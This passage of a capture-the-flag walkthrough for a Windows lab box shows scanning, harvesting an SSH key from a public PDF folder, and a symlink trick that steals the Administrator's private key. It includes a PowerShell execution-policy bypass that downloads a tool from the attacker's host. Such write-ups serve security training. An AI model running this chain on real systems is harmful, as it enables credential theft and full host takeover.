ssh-hostkey:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   2048 3e:40:e2:ef:21:ea:c1:77:b6:14:a3:f7:04:59:45:28 (RSA)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   256 f8:fb:e3:c6:16:3a:e2:62:d0:e2:ae:d4:f2:9e:6f:6d (ECDSA)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_  256 94:5e:97:ad:f9:0f:81:b6:6b:3b:bd:98:43:c0:0d:6a (ED25519)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">80/tcp open  http    Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| http-methods:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   Supported Methods: GET POST OPTIONS HEAD TRACE</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_  Potentially risky methods: TRACE</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-title: WebPage to PDF</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-what-this-tells-you">1.2 What this tells you<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#12-what-this-tells-you" class="hash-link" aria-label="Direct link to 1.2 What this tells you" title="Direct link to 1.2 What this tells you" translate="no">​</a></h3>
<table><thead><tr><th>Signal</th><th>Hunt angle</th></tr></thead><tbody><tr><td><strong>OpenSSH on Windows</strong></td><td>Key-based auth likely; look for leaked keys</td></tr><tr><td><strong>Apache + PHP 8.0.7</strong></td><td>XAMPP-style stack; web roots under <code>C:\xampp\htdocs\</code></td></tr><tr><td><strong>Title: WebPage to PDF</strong></td><td>User-supplied URLs → PDF; often writes <strong>logs</strong> and <strong>output PDFs</strong> to disk</td></tr><tr><td>Only <strong>22 + 80</strong> open</td><td>Entire attack surface is web → SSH; no RDP shortcut</td></tr></tbody></table>
<p>Browse manually:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">curl -s http://192.168.120.177/ | head -50</span><br></div></code></pre></div></div>
<p>Identify the PDF conversion form (URL input, submit button, any hint about output location).</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-2--directory-enumeration">Phase 2 — Directory enumeration<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-2--directory-enumeration" class="hash-link" aria-label="Direct link to Phase 2 — Directory enumeration" title="Direct link to Phase 2 — Directory enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="21-gobuster">2.1 Gobuster<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#21-gobuster" class="hash-link" aria-label="Direct link to 2.1 Gobuster" title="Direct link to 2.1 Gobuster" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">gobuster dir -u http://192.168.120.177/ \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  --exclude-length 0</span><br></div></code></pre></div></div>
<p>Interesting hits:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">logs                 (Status: 301) [--&gt; http://192.168.120.177/logs/]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pdfs                 (Status: 301) [--&gt; http://192.168.120.177/pdfs/]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PDFs                 (Status: 301) [--&gt; http://192.168.120.177/PDFs/]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">phpmyadmin           (Status: 403)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">webalizer            (Status: 403)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">server-status        (Status: 403)</span><br></div></code></pre></div></div>
<p>Case-insensitive Apache aliases (<code>pdfs</code>, <code>PDFs</code>, <code>Pdfs</code>) all resolve — directory listing may be enabled under one of them.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="22-why-pdfs-matters">2.2 Why <code>/Pdfs/</code> matters<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#22-why-pdfs-matters" class="hash-link" aria-label="Direct link to 22-why-pdfs-matters" title="Direct link to 22-why-pdfs-matters" translate="no">​</a></h3>
<p>The PDF converter saves finished files under a public web folder. If directory listing is on (or filenames are guessable MD5/SHA1 hashes of the input URL), <strong>every conversion becomes a direct download link</strong>. That is a classic misconfiguration: output artifacts are world-readable.</p>
<p>Enumerate:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">curl -s http://192.168.120.177/Pdfs/ | grep -oP 'href="[^"]+\.pdf"' | head -20</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># or browse in Firefox</span><br></div></code></pre></div></div>
<p>Lab PDF (example):</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-3--initial-access-ssh-key-in-pdf">Phase 3 — Initial access: SSH key in PDF<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-3--initial-access-ssh-key-in-pdf" class="hash-link" aria-label="Direct link to Phase 3 — Initial access: SSH key in PDF" title="Direct link to Phase 3 — Initial access: SSH key in PDF" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="31-download-and-inspect-the-pdf">3.1 Download and inspect the PDF<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#31-download-and-inspect-the-pdf" class="hash-link" aria-label="Direct link to 3.1 Download and inspect the PDF" title="Direct link to 3.1 Download and inspect the PDF" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">wget -O symbolic.pdf \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  'http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf'</span><br></div></code></pre></div></div>
<p>Extract text (any of these):</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">pdftotext symbolic.pdf -</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">strings symbolic.pdf | grep -A2 'BEGIN OPENSSH'</span><br></div></code></pre></div></div>
<p>You should see a block like:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">-----BEGIN OPENSSH PRIVATE KEY-----</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">... (truncated in writeup — save full key from PDF)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">-----END OPENSSH PRIVATE KEY-----</span><br></div></code></pre></div></div>
<p>Comment in the decoded key indicates user <strong><code>p4yl0ad@SYMBOLIC</code></strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="32-why-the-key-is-in-the-pdf-root-cause">3.2 Why the key is in the PDF (root cause)<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#32-why-the-key-is-in-the-pdf-root-cause" class="hash-link" aria-label="Direct link to 3.2 Why the key is in the PDF (root cause)" title="Direct link to 3.2 Why the key is in the PDF (root cause)" translate="no">​</a></h3>
<p>The WebPage-to-PDF pipeline likely:</p>
<ol>
<li class="">Fetches a URL or local resource supplied by whoever triggered the conversion, <strong>or</strong></li>
<li class="">Embeds <strong>debug / request metadata</strong> (headers, footers, environment) into the PDF, <strong>or</strong></li>
<li class="">A developer once converted a page that <strong>displayed or linked</strong> the private key (e.g. internal notes, <code>file://</code> path, or pasted key in HTML).</li>
</ol>
<p>Regardless of which UI path created this file, the <strong>impact</strong> is the same: a <strong>secret stored on disk</strong> was copied into a <strong>world-readable PDF</strong> under <code>/Pdfs/</code>. Never commit real private keys to a public blog — rotate in lab; in the post, redact or describe only.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="33-save-and-use-the-key">3.3 Save and use the key<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#33-save-and-use-the-key" class="hash-link" aria-label="Direct link to 3.3 Save and use the key" title="Direct link to 3.3 Save and use the key" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain"># paste ONLY the key block into id_rsa</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">chmod 400 id_rsa</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ssh -i id_rsa p4yl0ad@192.168.120.177</span><br></div></code></pre></div></div>
<p>Accept the host key on first connect:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Are you sure you want to continue connecting (yes/no)? yes</span><br></div></code></pre></div></div>
<p>You land in a <strong>Windows OpenSSH</strong> session as <code>p4yl0ad@SYMBOLIC</code>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-4--privilege-enumeration">Phase 4 — Privilege enumeration<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-4--privilege-enumeration" class="hash-link" aria-label="Direct link to Phase 4 — Privilege enumeration" title="Direct link to Phase 4 — Privilege enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="41-check-token-privileges">4.1 Check token privileges<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#41-check-token-privileges" class="hash-link" aria-label="Direct link to 4.1 Check token privileges" title="Direct link to 4.1 Check token privileges" translate="no">​</a></h3>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">whoami /priv</span><br></div></code></pre></div></div>
<p>Lab output (abridged):</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PRIVILEGES INFORMATION</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">----------------------</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Privilege Name                            Description                          State</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">========================================= ==================================== =======</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeTcbPrivilege                            Act as part of the operating system  Enabled</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="42-why-setcbprivilege-is-critical">4.2 Why <code>SeTcbPrivilege</code> is critical<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#42-why-setcbprivilege-is-critical" class="hash-link" aria-label="Direct link to 42-why-setcbprivilege-is-critical" title="Direct link to 42-why-setcbprivilege-is-critical" translate="no">​</a></h3>
<p><strong>SeTcbPrivilege</strong> (<em>Act as part of the operating system</em>) is one of the most powerful privileges on Windows. Holders can authenticate as <strong>any user</strong> and bypass normal access checks when calling <code>LsaLogonUser</code> / similar APIs.</p>
<p>It is <strong>not</strong> granted to normal users on production systems. On this box it is <strong>Enabled</strong> for <code>p4yl0ad</code> — an intentional PG misconfiguration for privilege escalation.</p>
<p><strong>Typical abuse tools:</strong></p>
<table><thead><tr><th>Tool</th><th>What it does</th></tr></thead><tbody><tr><td><strong><code>tcb.exe</code></strong></td><td>Uses TCB privilege to spawn processes with elevated / SYSTEM-equivalent context</td></tr><tr><td>Manual <code>CreateProcessAsUser</code> PoCs</td><td>Same class of bug</td></tr></tbody></table>
<p>Some write-ups suggest <strong><code>tcb.exe</code></strong> for a direct admin path when <strong>SeTcbPrivilege</strong> is enabled. <strong>In this lab run, <code>tcb.exe</code> did not work</strong> (command ran but <code>p4yl0ad</code> never joined Administrators). That is fine — the <strong>intended / working solve</strong> is the symlink chain below. We still document the TCB angle because it explains <em>why</em> <code>whoami /priv</code> flags that privilege during recon.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-5--symbolic-link-to-steal-administrator-ssh-key-working-path">Phase 5 — Symbolic link to steal Administrator SSH key (working path)<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-5--symbolic-link-to-steal-administrator-ssh-key-working-path" class="hash-link" aria-label="Direct link to Phase 5 — Symbolic link to steal Administrator SSH key (working path)" title="Direct link to Phase 5 — Symbolic link to steal Administrator SSH key (working path)" translate="no">​</a></h2>
<p>This is the <strong>Symbolic</strong> namesake: abuse <strong>symbolic links</strong> so a <strong>high-value file</strong> is copied into a location <strong><code>p4yl0ad</code> can read</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="51-why-symlinks-work-here">5.1 Why symlinks work here<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#51-why-symlinks-work-here" class="hash-link" aria-label="Direct link to 5.1 Why symlinks work here" title="Direct link to 5.1 Why symlinks work here" translate="no">​</a></h3>
<p>Windows has several link types:</p>
<table><thead><tr><th>Type</th><th>Created by</th><th>Cross-volume</th></tr></thead><tbody><tr><td><strong>Shortcut (.lnk)</strong></td><td>User</td><td>N/A</td></tr><tr><td><strong>Hard link</strong></td><td><code>CreateHardLink</code></td><td>Same volume only</td></tr><tr><td><strong>Symbolic link (file)</strong></td><td><code>SeCreateSymbolicLinkPrivilege</code></td><td>Yes</td></tr><tr><td><strong>Object Manager symlink</strong></td><td>Tools like <strong>CreateSymlink.exe</strong></td><td>Yes — tricks <strong>privileged</strong> services into opening attacker-chosen paths</td></tr></tbody></table>
<p>The web/PDF stack writes <strong>HTTP request logs</strong> under:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">C:\xampp\htdocs\logs\</span><br></div></code></pre></div></div>
<p>The <strong>Administrator</strong> account uses <strong>OpenSSH for Windows</strong> with keys at:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">C:\Users\Administrator\.ssh\id_rsa</span><br></div></code></pre></div></div>
<p><strong>Goal:</strong> Make the application (or its logging/backup job) <strong>read</strong> <code>id_rsa</code> when it thinks it is opening <code>logs\request.log</code>, then <strong>store or echo</strong> that content somewhere <strong><code>p4yl0ad</code> reads</strong> — e.g. <code>C:\backup\logs\&lt;timestamp&gt;</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="52-download-createsymlinkexe-on-the-target">5.2 Download <code>CreateSymlink.exe</code> on the target<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#52-download-createsymlinkexe-on-the-target" class="hash-link" aria-label="Direct link to 52-download-createsymlinkexe-on-the-target" title="Direct link to 52-download-createsymlinkexe-on-the-target" translate="no">​</a></h3>
<p>On Kali (port 80):</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python3 -m http.server 80</span><br></div></code></pre></div></div>
<p>On SYMBOLIC (PowerShell):</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"</span><br></div></code></pre></div></div>
<p><strong>CreateSymlink.exe</strong> (Project Zero) creates <strong>Global symlink</strong> objects in <code>\RPC Control\</code> that redirect opens of <code>request.log</code> to <code>\??\C:\Users\Administrator\.ssh\id_rsa</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="53-remove-the-real-logs-directory">5.3 Remove the real logs directory<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#53-remove-the-real-logs-directory" class="hash-link" aria-label="Direct link to 5.3 Remove the real logs directory" title="Direct link to 5.3 Remove the real logs directory" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">cd C:\backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Remove-Item -Recurse -Force "C:\xampp\htdocs\logs"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># confirm: Y</span><br></div></code></pre></div></div>
<p><strong>Why delete first:</strong> You need the next open/create on <code>logs\request.log</code> to hit your <strong>symlink</strong>, not an existing real file or directory layout.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="54-create-the-symlink">5.4 Create the symlink<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#54-create-the-symlink" class="hash-link" aria-label="Direct link to 5.4 Create the symlink" title="Direct link to 5.4 Create the symlink" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">.\CreateSymlink.exe 'C:\xampp\htdocs\logs\request.log' 'C:\Users\Administrator\.ssh\id_rsa'</span><br></div></code></pre></div></div>
<p>Expected:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Opened Link \RPC Control\request.log -&gt; \??\C:\Users\Administrator\.ssh\id_rsa: 00000158</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Press ENTER to exit and delete the symlink</span><br></div></code></pre></div></div>
<p>Leave the tool running <strong>or</strong> press ENTER only after you capture the key (depending on timing — if the link disappears, recreate before triggering the app).</p>
<p><strong>What this means:</strong> Any process that opens <code>C:\xampp\htdocs\logs\request.log</code> (via the object manager path) is redirected to the <strong>administrator's private key file</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="55-trigger-the-webpage-to-pdf--logging-pipeline">5.5 Trigger the WebPage-to-PDF / logging pipeline<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#55-trigger-the-webpage-to-pdf--logging-pipeline" class="hash-link" aria-label="Direct link to 5.5 Trigger the WebPage-to-PDF / logging pipeline" title="Direct link to 5.5 Trigger the WebPage-to-PDF / logging pipeline" translate="no">​</a></h3>
<p>Generate fresh traffic so the app touches the log path:</p>
<ol>
<li class="">Browse <code>http://192.168.120.177/</code> from Kali.</li>
<li class="">Submit a new URL for PDF conversion (any valid http(s) page).</li>
<li class="">Wait for a new timestamped log under <strong><code>C:\backup\logs\</code></strong> (backup job path on this box).</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="56-read-the-exfiltrated-key">5.6 Read the exfiltrated key<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#56-read-the-exfiltrated-key" class="hash-link" aria-label="Direct link to 5.6 Read the exfiltrated key" title="Direct link to 5.6 Read the exfiltrated key" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">cd C:\backup\logs</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">dir</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">type 09-13-2026_18_33_49</span><br></div></code></pre></div></div>
<p>(File name is <strong>timestamp-based</strong> — use <code>dir</code> for the exact name on your run.)</p>
<p>Output begins with:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">-----BEGIN OPENSSH PRIVATE KEY-----</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">...</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">-----END OPENSSH PRIVATE KEY-----</span><br></div></code></pre></div></div>
<p>Save on Kali as <strong><code>admin_id_rsa</code></strong>, <code>chmod 400</code>, <strong>do not publish</strong> the full key in a blog post.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-6--administrator-ssh-session">Phase 6 — Administrator SSH session<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-6--administrator-ssh-session" class="hash-link" aria-label="Direct link to Phase 6 — Administrator SSH session" title="Direct link to Phase 6 — Administrator SSH session" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="61-connect-as-administrator">6.1 Connect as administrator<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#61-connect-as-administrator" class="hash-link" aria-label="Direct link to 6.1 Connect as administrator" title="Direct link to 6.1 Connect as administrator" translate="no">​</a></h3>
<p>On Kali:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">chmod 400 admin_id_rsa</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ssh administrator@192.168.120.177 -i admin_id_rsa</span><br></div></code></pre></div></div>
<p>Success:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Microsoft Windows [Version 10.0.17763.2300]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">(c) 2018 Microsoft Corporation. All rights reserved.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">administrator@SYMBOLIC C:\Users\Administrator&gt;</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="62-confirm-impact">6.2 Confirm impact<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#62-confirm-impact" class="hash-link" aria-label="Direct link to 6.2 Confirm impact" title="Direct link to 6.2 Confirm impact" translate="no">​</a></h3>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">whoami</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">whoami /groups</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">hostname</span><br></div></code></pre></div></div>
<p>You are the <strong>built-in Administrator</strong> on <strong>SYMBOLIC</strong> — full host compromise via SSH.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-7--optional-http-server-on-kali-reference">Phase 7 — Optional: HTTP server on Kali (reference)<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-7--optional-http-server-on-kali-reference" class="hash-link" aria-label="Direct link to Phase 7 — Optional: HTTP server on Kali (reference)" title="Direct link to Phase 7 — Optional: HTTP server on Kali (reference)" translate="no">​</a></h2>
<p>Minimal file hosting layout used during the lab:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">cd ~/aov_lab/Symbolic</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># place CreateSymlink.exe here</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">python3 -m http.server 80</span><br></div></code></pre></div></div>
<p>Windows pull pattern:</p>
